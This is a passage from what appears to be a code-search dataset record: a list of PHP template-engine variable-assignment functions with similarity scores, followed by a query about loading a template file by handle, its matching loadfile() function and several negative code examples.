$this->programLogicError(1);\n $blockVarNo = $btr['blockVarCnt']++;\n $btr['blockVarNoToVarNoMap'][$blockVarNo] = $varNo;\n if ($btr['firstVarRefNo'] == -1)\n $btr['firstVarRefNo'] = $varRefNo;\n $vrtr['blockNo'] = $activeBlockNo;\n $vrtr['blockVarNo'] = $blockVarNo;\n $varRefNo += 1; }}", "public function setVariable(VariableName $variableName, BaseLiteral $value, string $assignmentMode = null)\n {\n $this->variables->set($variableName, $value, AbstractContext::ASSIGNMENT_MODE_VARIABLE);\n }", "function reset(){\n for( $x=count($this->ctx)-1; $x>=1; $x-- ){ // skip _ROOT_\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'] = array();\n return;\n }\n }\n }", "function set_var($var_name, $var_value)\r\n\t{\r\n\t\tif (is_array($var_value)) \r\n\t\t{\r\n\t\t\tforeach($var_value as $key=>$value)\r\n\t\t\t{\r\n\t\t\t\t$this->set_var($var_name . '.' . $key, $value); // recursion for array branches\r\n\t\t\t}\r\n\t\t}\r\n\t\telse // normal variable\r\n\t\t{\r\n\t\t\t$this->vars[$var_name] = $var_value;\r\n\t\t}\r\n\t}", "function setVar() {\n\t\t\n\t\t$_argv = func_get_args();\n\t\t$_argc = func_num_args();\n\t\t\n\t\t// load vars\n\t\t$vars = getVars();\n\t\tif (!$_GET[\"__shared__\"][\"vars\"]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"] = array();\n\t\t}\n\t\tforeach ($vars as $varNamespace => $varArray) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$varNamespace] = $varArray;\n\t\t}\n\t\t\n\t\t// Register namespace if not existing\n\t\tif (!$_GET[\"__shared__\"][\"vars\"][$_argv[0]]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]] = array();\n\t\t}\n\t\tif ($_argc == 2) {\n\t\t\tif (is_array($_argv[1])) {\n\t\t\t\tforeach ($_argv[1] as $var => $val) {\n\t\t\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$var] = $val;\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif ($_argc == 3) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$_argv[1]] = $_argv[2];\n\t\t}\n\t\t\n\t\t// save vars\n\t\t\n\t\tsaveVars();\n\t}", "public function assignVars(array $args)\n {\n $this->vars = array_merge( $this->vars , $args );\n }", "public function assign($var, $value) {\n\t\tparent::assign($var, $value);\n\t}", "public function clearVars()\r\n {\r\n $this->_smarty->clearAllAssign();\r\n $this->assign('this', $this);\r\n }", "public function assignVars($values) {\n\t\tforeach ($this->_vars as $key => $var) {\n\t\t\t$value = (!isset($values[$key]))?null:$values[$key];\n\t\t\t$this->_vars[$key]->set($value);\n\t\t}\n\t}", "function assign($var,$val) {\n\t\t$this->_viewVars[$var]=$val;\n\t}", "public function assignVar($name, $value) {\n $this->tpl_vars[$name] = $value;\n }", "protected function initVars() {\n\n\t\t}", "public function assign($name, $value){\r\n\t\t$this->vars[$name] = $value; \r\n\t}", "public function enableStrictVariables()\n {\n $this->strictVariables = true;\n }", "public function setAssignments(AssignmentExpression ...$assignments): void;", "public function assignGlobal($var, $val) {\n $this->arrVar['global'][$var] = $val;\n }", "public function assign($name, $value = null)\n {\n if (is_array($name)){\n foreach ($name as $key => $item) {\n $this->vars[$key] = $item;\n }\n } else {\n $this->vars[$name] = $value;\n }\n }", "protected function remebmer_variable( $name, $value ){\n\t\tstatic::$instance->variables[$name] = $value;\n\t}", "function tie_var($var_name, &$var_value)\r\n\t{\r\n\t\tif (is_array($var_value)) \r\n\t\t{\r\n\t\t\t$list = array_keys($var_value);\r\n\t\t\tforeach($list as $key)\r\n\t\t\t{\r\n\t\t\t\t$this->tie_var($var_name . '.' . $key, $var_value[$key]); // recursion for array branches\r\n\t\t\t}\r\n\t\t}\r\n\t\telse // normal variable\r\n\t\t{\r\n\t\t\t$this->vars[$var_name] =& $var_value;\r\n\t\t}\r\n\t}", "function assign($var, $value = false)\n {\n\t\tif (is_array($var))\r\n\t\t{\r\n\t\t\tforeach ($var as $name => $value)\r\n\t\t\t{\r\n\t\t\t\t$this->_vars[$name] = $value;\r\n\t\t\t}\r\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_vars[$var] = $value;\n\t\t}\n\t}", "function setRoot($value)\r\n {\r\n $this->_root=$value;\r\n //Gets the vars from the root object to get the pointers for the components\r\n $this->_rootvars=get_object_vars($this->_root);\r\n\r\n //Clears parents list and sets the root as the first parent\r\n $this->_parents->clear();\r\n $this->_parents->add($this->_root);\r\n\r\n }", "function assign_global($key, $value = null)\n\t{\n\t\t\tforeach ($this->data as $k => $v)\t // iterate through data\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif (get_class($v) == 'Template') // if data is template object\n\t\t\t\t{\n\t\t\t\t\t$v->assign($key, $value);\t // assign to it\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->assign($key, $value);\t\t // assign to this template also\n\t}", "public function addVariable($name, $value);", "public function assign_variables($variables = array())\n\t{\n\t\tif (is_array($variables))\n\t\t{\n\t\t\tforeach ($variables as $name => $val)\n\t\t\t{\n\t\t\t\t$this->assign($name, $val);\n\t\t\t}\n\t\t}\n\t}", "public function addVariables($tvs = array());", "public function assignGlobal($varname, $value = null, $nocache = false)\n {\n if ($varname != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n $this->_assignInScope($varname, new Smarty_Variable($value, $nocache), Smarty::SCOPE_GLOBAL);\n } else {\n Smarty::$_global_tpl_vars->$varname = new Smarty_Variable($value, $nocache);\n }\n }\n return $this;\n }", "public function addVariable($tv);", "public function assignVar($key, &$value) {\n\t\t$this->_vars[$key]->value = $value;\n\t}", "public function assign($names, $values = null, $global = false) {\n\t\tif (is_array($names)) {\n\t\t\tforeach ($names as $name => $value) {\n\t\t\t\t$this->assign($name, $value, $global);\n\t\t\t}\n\t\t} else {\n\t\t\tif ($global) {\n\t\t\t\t// Declare this name as global\n\t\t\t\t$this->tpl_vars_global_keys[] = $names;\n\n\t\t\t\t// For global vars, update value in all contexts\n\t\t\t\tforeach ($this->context as $id => $vars) {\n\t\t\t\t\t$this->context[$id][$names] = $values;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->tpl_vars[$names] = $values;\n\t\t}\n\t}", "public function disableStrictVariables()\n {\n $this->strictVariables = false;\n }", "function yy_r13(){ $this->_retvalue = $this->compiler->compileTag('assign',array_merge(array('value'=>$this->yystack[$this->yyidx + -2]->minor),$this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + -1]->minor)); }", "#[@test]\n public function assignment() {\n $this->assertEquals(array(new AssignmentNode(array(\n 'variable' => new VariableNode('a'),\n 'expression' => new TernaryNode(array(\n 'condition' => new VariableNode('argc'),\n 'expression' => new VariableNode('args0'),\n 'conditional' => new IntegerNode('1')\n )),\n 'op' => '='\n ))), $this->parse('\n $a= $argc ? $args0 : 1;\n '));\n }", "function assign( $variable, $value = null ){\n\n\t\tif( is_array( $variable ) )\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\telseif( is_object( $variable ) ){\n\t\t\t$variable = get_object_vars( $variable );\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\t}\n\t\telse\n\t\t\t$this->variables[ $variable ] = $value;\n\t}", "public function assign( $name, $value ) {\n $this->vars[$name] = $value;\n }", "function e($var_nm)\n{\n\tglobal $$var_nm ;\n\n\treturn '$' . $var_nm . ' = ' . $$var_nm . ' ' ;\n}", "public function updateVaribles(){\n foreach( $this->globalVars as $key=>$val ){\n $this->template = str_replace( '%'. $key .'%', $val, $this->template );\n }\n }", "function drush_variable_realm_set($realm_name, $realm_key, $variable_name, $value) {\n variable_realm_set($realm_name, $realm_key, $variable_name, $value);\n drush_print('Variable set.');\n}", "private function initVars()\n {\n // fetch the current id_node. If no node the script assums that\n // we are at the top level with id_parent 0\n if( !isset($_REQUEST['id_node']) || preg_match(\"/[^0-9]+/\",$_REQUEST['id_node']) ) \n {\n $this->tplVar['id_node'] = 0;\n $this->current_id_node = 0; \n }\n else\n {\n $this->tplVar['id_node'] = (int)$_REQUEST['id_node'];\n $this->current_id_node = (int)$_REQUEST['id_node']; \n } \n\n $this->tplVar['lock_text'] = 'unlock';\n \n // template variables\n //\n // node tree data\n $this->tplVar['tree'] = array();\n // data of the current node\n $this->tplVar['node'] = array();\n // data of the branch nodes\n $this->tplVar['branch'] = array(); \n // link data\n $this->tplVar['link'] = array();\n \n // errors\n $this->tplVar['error'] = array(); \n \n // use keywords or not\n $this->tplVar['use_keywords'] = $this->config['link']['use_keywords']; \n\n if(isset($_REQUEST['disableMainMenu']))\n {\n $this->tplVar['disableMainMenu'] = \"1\"; \n }\n else\n {\n $this->tplVar['disableMainMenu'] = FALSE; \n }\n \n // we need the url vars to open this page by the keyword map window\n if($this->config['link']['use_keywords'] == 1)\n {\n $this->tplVar['opener_url_vars'] = base64_encode('&view=editLink&id_link='.(int)$_REQUEST['id_link'].'&id_node='.$this->current_id_node.'&disableMainMenu=1');\n } \n }", "protected function parseVariable(): void\n {\n $sBaseUrl = $this->sBaseUrl;\n\n /**\n * $getCurrentTplName is used in \"variables.inc.php\" file\n */\n $getCurrentTplName = static function () use ($sBaseUrl) {\n $aDirs = explode('/', $sBaseUrl);\n return !empty($aDirs[2]) ? $aDirs[2] : PH7_DEFAULT_THEME;\n };\n\n $this->setVariables(include('variables.inc.php'));\n }", "public function assign($name, $value = null) {\r\n\t\t\t$this->templateVariables[$name] = $value;\r\n\t\t\treturn $this;\r\n\t\t}", "public function assign($name, $var) {\n\t\t$this->vars[$name] = $var;\n\n\t\treturn NULL;\n\t}", "private function assignValues() {\n $this->setIndicators('value');\n\n $leftIndicator = $this->sugarTemplateIndicators['valueLeft'] . $this->sugarTemplateIndicators['valueSeparator'];\n $rightIndicator = $this->sugarTemplateIndicators['valueSeparator'] . $this->sugarTemplateIndicators['valueRight'];\n\n foreach ($this->assignedValues as $tag => $value) {\n $this->rootContent = str_replace($leftIndicator . $tag . $rightIndicator, $value, $this->rootContent);\n }\n }", "function addVar($varName,$value)\n {\n $this->VARS[${'varName'}][0] = $varName;\n $this->VARS[${'varName'}][1] = $value;\n }", "function assign_vars($vararray)\n\t{\n\t\t$this->_tpldata['.'][0] = array_merge(empty($this->_tpldata['.'][0]) ? array() : $this->_tpldata['.'][0], $vararray);\n\t\treturn true;\n\t}", "public static function addVars($arr){\n self::$vars = array_merge(self::$vars, $arr);\n }", "public function assignRootPassword()\n {\n $this->update(['root_password' => Str::random()]);\n }", "function yy_r29()\n {\n $this->_retvalue = $this->compiler->compileTag('assign', array_merge(array(array('value' => $this->yystack[$this->yyidx + - 1]->minor), array('var' => $this->yystack[$this->yyidx + - 3]->minor['var'])), $this->yystack[$this->yyidx + 0]->minor), array('smarty_internal_index' => $this->yystack[$this->yyidx + - 3]->minor['smarty_internal_index']));\n }", "public static function reassign() {\n\n\t\t}", "protected function assign_variables($vars) {\n $this->out->assign_vars($vars);\n }", "function assign_vars_array($name, $value)\n\t{\n\t\t$this->_vars[$name][] = $value;\n\t}", "public static function bind_global($key, & $value) {\r\n View::$_global_data[$key] = &$value;\r\n View::$_global_bound_variables[$key] = TRUE;\r\n if ( self::$_smarty_is_loaded ) {\r\n Smarty::$global_tpl_vars[$key] = new Smarty_variable($value);\r\n Smarty::$global_tpl_vars[$key]->value = &$value;\r\n }\r\n}", "function set_var($name, $value){ // set the template variable\n\tif (func_num_args()> 2){\n\t\tif (!$this->in_vars($name)) $this->vars[$name] = array();\n\t\t$this->vars[$name][func_get_arg(2)] = $value;\n\t} else $this->vars[$name] = $value;\n}", "function addVars($node, $vars) {\n\tforeach ($vars as $name=>$val) {\n\t\t$var = $node->data->addChild('var', $val);\n\t\t$var->addAttribute('name', $name);\n\t}\n}", "public function _assignInScope($varname, $variable_obj, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if ($scope_type == Smarty::SCOPE_GLOBAL) {\n Smarty::$_global_tpl_vars->{$varname} = $variable_obj;\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n // we must bubble from current template\n $scope_type = Smarty::SCOPE_ROOT;\n } else {\n // otherwise done\n return;\n }\n }\n\n // must always assign in local scope\n $this->_tpl_vars->{$varname} = $variable_obj;\n\n // if called on data object return\n if ($this->_usage == Smarty::IS_DATA) {\n return;\n }\n\n // if called from template object ($this->scope_type set) we must consider\n // the scope type if template object\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n if (($this->scope_type == Smarty::SCOPE_ROOT || $this->scope_type == Smarty::SCOPE_PARENT) &&\n $scope_type != Smarty::SCOPE_ROOT && $scope_type != Smarty::SCOPE_SMARTY\n ) {\n $scope_type = $this->scope_type;\n }\n }\n\n if ($scope_type == Smarty::SCOPE_LOCAL) {\n return;\n }\n\n $node = $this->parent;\n while ($node) {\n // bubble up only in template objects\n if ($node->_usage == Smarty::IS_TEMPLATE || ($scope_type == Smarty::SCOPE_SMARTY && $node->_usage != Smarty::IS_DATA)) {\n $node->_tpl_vars->{$varname} = $variable_obj;\n if ($scope_type == Smarty::SCOPE_PARENT) {\n break;\n }\n }\n $node = $node->parent;\n }\n }", "public function addGlobalVariable($name, $value='null')\n\t{\n\t\tif (null === $this->resources->itemAt('variables'))\n\t\t\t$this->resources->add('variables', new CMap());\n\n\t\t$this->resources->itemAt('variables')->add($name, $value);\n\t}", "public function setRoot($root)\n {\n $this->root = $root;\n }", "public function assign($variable , $value)\n {\n $this->data[$variable] = $value;\n }", "public function assignTemplateVariable($varName, $varValue);", "public function assign($name, $value)\n {\n $this->vars[ $name ] = $value;\n }", "public function setVar($name, $value)\n {\n $this->var_holder->set($name, $value);\n }", "public function assign()\n {\n $this->elementsList();\n $this->match(BacktrackLexer::EQUALS);\n $this->elementsList();\n }", "public function globalVarConditionMatchesOnEqualExpression() {}", "public function globalVarConditionMatchesOnEqualExpression() {}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strpos($blockname, '.') !== false)\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata;\n\t\t\tfor($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i] . '.'];\n\t\t\t\t$str = &$str[sizeof($str) - 1];\n\t\t\t}\n\n\t\t\t$s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// Now the tricky part, we always assign S_LAST_ROW and remove the entry before\n\t\t\t// This is much more clever than going through the complete template data on display (phew)\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Now we add the block that we're actually assigning to.\n\t\t\t// We're adding a new iteration to this block with the given variable assignments.\n\t\t\t$str[$blocks[$blockcount] . '.'][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Top-level block.\n\t\t\t$s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// We always assign S_LAST_ROW and remove the entry before\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Add a new iteration to this block with the variable assignments we were given.\n\t\t\t$this->_tpldata[$blockname . '.'][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "public function change_one_global() {\n $var_name = $GLOBALS['test_var'];\n $GLOBALS[ $var_name ] = rand_str();\n }", "public function getAssignedVars()\n {\n return $this->_vars;\n }", "function myTest() {\n $GLOBALS['y'] = $GLOBALS['x'] + $GLOBALS['y'];\n}", "function addVariable($name,$value,$eval = true) {\n\t\t $this->Open();\n\t\t if ($eval) {\t\t \t\t \n\t\t $this->Stream .= '$'.$name.' = '.$this->prepareVariableString($value).';'.chr(10);\n\t\t \n\t\t } else {\t\t \n\t\t $this->Stream .= '$'.$name.' = $'.$value.\";\".chr(10);\n\t\t } \n\t\t}", "public function assign($name,$value);", "public function variable_set($name, $value) {\n // TODO\n variable_set($name, $value);\n }", "function Assign($tpl_var, $value = null)\n {\n $this->_smarty->assign( $tpl_var, $value );\n }", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strstr($blockname, '.'))\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata; \n\t\t\tfor ($i = 0; $i < $blockcount; $i++) \n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i]]; \n\t\t\t\t$str = &$str[sizeof($str) - 1]; \n\t\t\t}\n\t\t\t$str[$blocks[$blockcount]][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpldata[$blockname][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "protected static function initializeGlobalVariables() {}", "public function AddVariables($tid, $var, $name = NULL){\n if(!is_array($var)){\n if(!isset($name)){\n //todo add errors\n return false;\n }\n $var = [$name => $var];\n }\n\n if(isset($this->envir_vars[$tid]) && is_array($this->envir_vars[$tid])){\n $this->envir_vars[$tid] = array_merge($this->envir_vars[$tid], $var);\n }\n else{\n $this->envir_vars[$tid] = $var;\n }\n return true;\n }", "protected function assign($var,$value = null){\n\t\tif($value === null)\n\t\t\t$this->view_manager->assign($var);\n\t\telse\t\n\t\t\t$this->view_manager->assign($var,$value);\n\t}", "public function setInputVariableForSubWorkflow( $name, $value )\n {\n $this->inputVariablesForSubWorkflow[$name] = $value;\n }", "public function setDataRoot($r){\n $this->data_root = $r;\n }", "public function assign($tpl_var, $value = null, $nocache = false, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if (is_array($tpl_var)) {\n foreach ($tpl_var as $varname => $value) {\n if ($varname != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($varname, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$varname = new Smarty_Variable($value, $nocache);\n }\n }\n }\n } else {\n if ($tpl_var != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($tpl_var, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$tpl_var = new Smarty_Variable($value, $nocache);\n }\n }\n }\n\n return $this;\n }", "public function assign( $variable, $value ) {\n $this->variables[ $variable ] = $value;\n }", "public function __set($varName, $value) {\n\t\t$this->add($varName, $value);\n\t}", "function __set($name, $value) {\n\t\t\t\t\tif (!empty($name)) {\n\t\t\t\t\t\t$this->vars[$name] = $value;\n\t\t\t\t\t}\n\t\t\t\t}", "public static function addInitVars ($name, $value) {\n\t\tself::$_initialiseVars[$name] = $value;\n\t}", "public function initVarfromDefs() {\n foreach ($this->extconfigs->getextConfig('sccpDefaults') as $key => $value) {\n if (empty($this->sccpvalues[$key])) {\n $this->sccpvalues[$key] = array('keyword' => $key, 'data' => $value, 'type' => '0', 'seq' => '0');\n }\n }\n }", "function setRoot( $block = '' ) {\r\n\t\t// if no block passed -> reload data\r\n\t\tif ( $block == '' ) {\r\n\t\t\t$this -> loadData();\r\n\t\t} else {\r\n\t\t\t// \"move pointer\"\r\n\t\t\t$this -> lang_data = $this -> lang_data[ $block ];\r\n\t\t\t$this -> default_lang_data = $this -> default_lang_data[ $block ];\r\n\t\t}\r\n\t}", "public function doVariable($name, &$value): void\n {\n switch ($name) {\n case 'b':\n $value = 4;\n break;\n }\n }", "protected function assign($varName, $varValue)\n {\n $this->varList[$varName] = $varValue;\n }", "public function fnParseVar(&$oNode, $bIsFor, $sKind)\n {\n $oNode->aDeclarations = [];\n $oNode->sKind = $sKind;\n for (;;) {\n $oDecl = $this->fnStartNode();\n $this->fnParseVarId($oDecl, $sKind);\n if ($this->fnEat(TokenTypes::$aTypes['eq'])) {\n $oDecl->oInit = $this->fnParseMaybeAssign($bIsFor);\n } else if ($sKind == \"const\" \n && !($this->oType == TokenTypes::$aTypes['in'] \n || ($this->aOptions['ecmaVersion'] >= 6 \n && $this->fnIsContextual(\"of\")))) {\n $this->fnUnexpected();\n } else if ($oDecl->oId->type != \"Identifier\" \n && !($bIsFor \n && ($this->oType == TokenTypes::$aTypes['in'] \n || $this->fnIsContextual(\"of\")))) {\n $this->fnRaise($this->iLastTokEnd, \"Complex binding patterns require an initialization value\");\n } else {\n $oDecl->oInit = null;\n }\n array_push($oNode->aDeclarations, $this->fnFinishNode($oDecl, \"VariableDeclarator\"));\n if (!$this->fnEat(TokenTypes::$aTypes['comma'])) \n break;\n }\n return $oNode;\n }", "public function __setVars($vars,$over = FALSE){\r\n\r\n if(sizeof($this->vars) || $over){\r\n $this->vars = array_merge($this->vars,$vars);\r\n }\r\n return $this;;\r\n }", "function yy_r106()\n {\n if ($this->yystack[$this->yyidx + 0]->minor['var'] == 'smarty') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index']);\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor['var']) . $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];\n }\n }", "function mySuperglobals(){\n $x = 75;\n $y = 25;\n \n function addition() {\n $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];\n }\n \n addition();\n echo $z; \n //$_SERVER is a PHP super global variable which holds information about headers, paths, and script locations. \n echo $_SERVER['PHP_SELF'];\n echo \"<br>\";\n echo $_SERVER['SERVER_NAME'];\n echo \"<br>\";\n echo $_SERVER['HTTP_HOST'];\n echo \"<br>\";\n echo $_SERVER['HTTP_REFERER'];\n echo \"<br>\";\n echo $_SERVER['HTTP_USER_AGENT'];\n echo \"<br>\";\n echo $_SERVER['SCRIPT_NAME'];\n \n }", "function init($varname, $value = \"\", $append = false) {\n if (!is_array($varname)) {\n if ($varname !== '') {\n $this->_keys[$varname] = $this->_varname($varname);\n ($append) ? $this->_vals[$varname] .= $value : $this->_vals[$varname] = $value;\n }\n } else {\n reset($varname);\n while (list($k, $v) = each($varname)) {\n if ($k !== '') {\n $this->_keys[$k] = $this->_varname($k);\n ($append) ? $this->_vals[$k] .= $v : $this->_vals[$k] = $v;\n }\n }\n }\n }", "function ClearAllAssign()\n {\n $this->_smarty->clear_all_assign();\n }", "private function resetVars()\n {\n $this->response = $this->calls = array();\n $this->hasCalls = $this->isBatchCall = false;\n }", "public function setRootForCommands($root)\n {\n $this->_root = $root;\n }", "public function visitVar(Node $node): void\n {\n if (!\\is_scalar($node->children['name'])) {\n throw new NodeException($node);\n }\n }", "protected function setVarToTemplates()\n {\n $this->templates->set_tpl($this->varName, $this->checkNewCommondaty());\n }", "public static function assign($key,$value) {\r\n\t\tself::$_smarty->assignGlobal($key,$value);\r\n\t}" ]
[ "0.5391129", "0.5329387", "0.5227524", "0.5078226", "0.5062847", "0.4978947", "0.49687913", "0.4951756", "0.49158612", "0.48381355", "0.4813906", "0.48070687", "0.47989643", "0.4790055", "0.47641838", "0.47628653", "0.47346768", "0.47231895", "0.47221246", "0.47141707", "0.47141096", "0.4709926", "0.4699367", "0.46745893", "0.46583697", "0.46543187", "0.46246892", "0.46122143", "0.45777008", "0.45760816", "0.4559541", "0.45330968", "0.45231467", "0.45215717", "0.4514689", "0.45055678", "0.45028815", "0.44905627", "0.44642368", "0.44590035", "0.44570577", "0.44498265", "0.44466397", "0.4442929", "0.44371593", "0.44358197", "0.4425174", "0.44228503", "0.44132718", "0.44093296", "0.43973973", "0.43871975", "0.43825433", "0.43803343", "0.43780294", "0.4377768", "0.437206", "0.43711877", "0.43632352", "0.43623284", "0.43458056", "0.43444175", "0.43344104", "0.43276086", "0.43275666", "0.43253237", "0.4320974", "0.43136322", "0.43027207", "0.42902794", "0.42887065", "0.42814547", "0.42781276", "0.4272007", "0.42700794", "0.4265456", "0.42631474", "0.42616567", "0.42601103", "0.42591488", "0.42580134", "0.42549098", "0.42481306", "0.4232958", "0.42305344", "0.42266104", "0.422328", "0.42192927", "0.42185238", "0.42153144", "0.42103973", "0.42075837", "0.42050272", "0.4204697", "0.4201586", "0.419963", "0.41990662", "0.41982707", "0.41963732", "0.41945294" ]
0.4684555
23
If not already done, load the file for the given handle and populate the uncompiled_code[] hash with its code. Do not compile.
function loadfile($handle) { global $config; // If cached file exists do nothing - it will be included via include() if(!empty($this->files_cache[$handle])) { return true; } // If the file for this handle is already loaded and compiled, do nothing. if (!empty($this->uncompiled_code[$handle])) { return true; } // If we don't have a file assigned to this handle, die. if (empty($this->files[$handle])) { die("Template->loadfile(): No file specified for handle $handle"); } $filename = $this->files[$handle]; $str = implode('', @file($filename)); if (empty($str)) { die("Template->loadfile(): File $filename for handle $handle is empty"); } $this->uncompiled_code[$handle] = $str; return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function compile2($code, $handle, $cache_file)\n\t{\n\t\t$code = $this->compile_code('', $code, XS_USE_ISSET);\n\t\tif($cache_file && !empty($this->use_cache) && !empty($this->auto_compile))\n\t\t{\n\t\t\t$res = $this->write_cache($cache_file, $code);\n\t\t\tif($handle && $res)\n\t\t\t{\n\t\t\t\t$this->files_cache[$handle] = $cache_file;\n\t\t\t}\n\t\t}\n\t\t$code = '?' . '>' . $code . '<' . '?php' . \"\\n\";\n\t\treturn $code;\n\t}", "function loadfile($handle)\n\t{\n\t\tif (isset($this->uncompiled_code[$handle]) && !empty($this->uncompiled_code[$handle]))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif (!isset($this->files[$handle]))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): No file specified for handle $handle\");\n\t\t}\n\n\t\t$filename = $this->files[$handle];\n\n\t\t$str = implode(\"\", @file($filename));\n\t\tif (empty($str))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): File $filename for handle $handle is empty\");\n\t\t}\n\n\t\t$this->uncompiled_code[$handle] = $str;\n\n\t\treturn true;\n\t}", "function opcache_compile_file($file)\n{\n}", "function _tpl_load_file($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Try and open template for read\n\t\tif (!($fp = @fopen($this->files[$handle], 'r')))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): File ' . $this->files[$handle] . ' does not exist or is empty', '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// compile required\n\t\tinclude_once($config->url('includes/class_template_compiler'));\n\t\t$tpl_compiler = new tpl_compiler();\n\t\t$this->compiled_code[$handle] = $tpl_compiler->compile(trim(@fread($fp, filesize($this->files[$handle]))));\n\t\t@fclose($fp);\n\n\t\t// output the template to the cache\n\t\tif ( !$config->data['cache_disabled_template'] )\n\t\t{\n\t\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . str_replace('/', '_', $this->filename[$handle]) . '.' . $config->ext;\n\t\t\t$tpl_compiler->compile_write($handle, $this->compiled_code[$handle], $filename);\n\t\t}\n\t\tunset($tpl_compiler);\n\t}", "public function compile() { \n if (!count($this->loadedFiles)) return; \n $outputFile = $this->_options['includeFile']; \n $fp = fopen($outputFile, \"a+\"); \n if (flock($fp, LOCK_EX)) { \n if ($filesize = filesize($outputFile)) { \n fseek($fp, 0); \n $currentFile = fread($fp, $filesize); \n } else $currentFile = ''; \n \n if (!$currentFile) { \n $appendSource = \"<?php\\n\"; \n $existingClasses = array(); \n } else { \n $appendSource = ''; \n $existingClasses = $this->getClassesFromSource($currentFile); \n } \n \n for ($i = 0; $i < count($this->loadedFiles); $i++) { \n $filename = $this->loadedFiles[$i]; \n \n $f = @fopen($filename, \"r\", true); \n $fstat = fstat($f); \n $file = fread($f, $fstat['size']); \n fclose($f); \n $classes = $this->getClassesFromSource($file); \n \n if (!count(array_intersect($existingClasses, $classes))) { \n if (strpos($file, '__FILE__') === false) { \n $endFile = substr($file, -2) == '?>' ? -2 : null; \n $appendSource .= ($endFile === null ? substr($file, 5) : substr($file, 5, -2)); \n } else { \n $filePath = $this->realPath($filename); \n if ($filePath) { \n $file = str_replace('__FILE__', \"'$filePath'\", $file); \n $endFile = substr($file, -2) == '?>' ? -2 : null; \n $appendSource .= ($endFile === null ? substr($file, 5) : substr($file, 5, -2)); \n } \n } \n } else { \n $appendSource = ''; \n break; \n } \n } \n if ($appendSource) { \n fseek($fp, 0, SEEK_END); \n fwrite($fp, $appendSource); \n } \n flock($fp, LOCK_UN); \n } \n fclose($fp); \n }", "function code() {\n\t\t$code_issue_replace = false;\n\t\tif (in_array('replace', $this->args)) 